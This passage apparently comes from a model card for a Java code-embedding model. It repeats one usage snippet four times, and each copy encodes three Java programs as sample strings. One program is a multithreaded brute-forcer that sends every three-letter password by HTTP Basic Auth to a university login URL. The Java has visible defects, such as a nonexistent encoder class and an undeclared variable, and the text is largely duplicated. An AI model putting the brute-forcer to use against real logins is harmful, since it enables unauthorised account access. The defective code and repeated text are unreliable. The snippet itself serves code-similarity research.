System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new 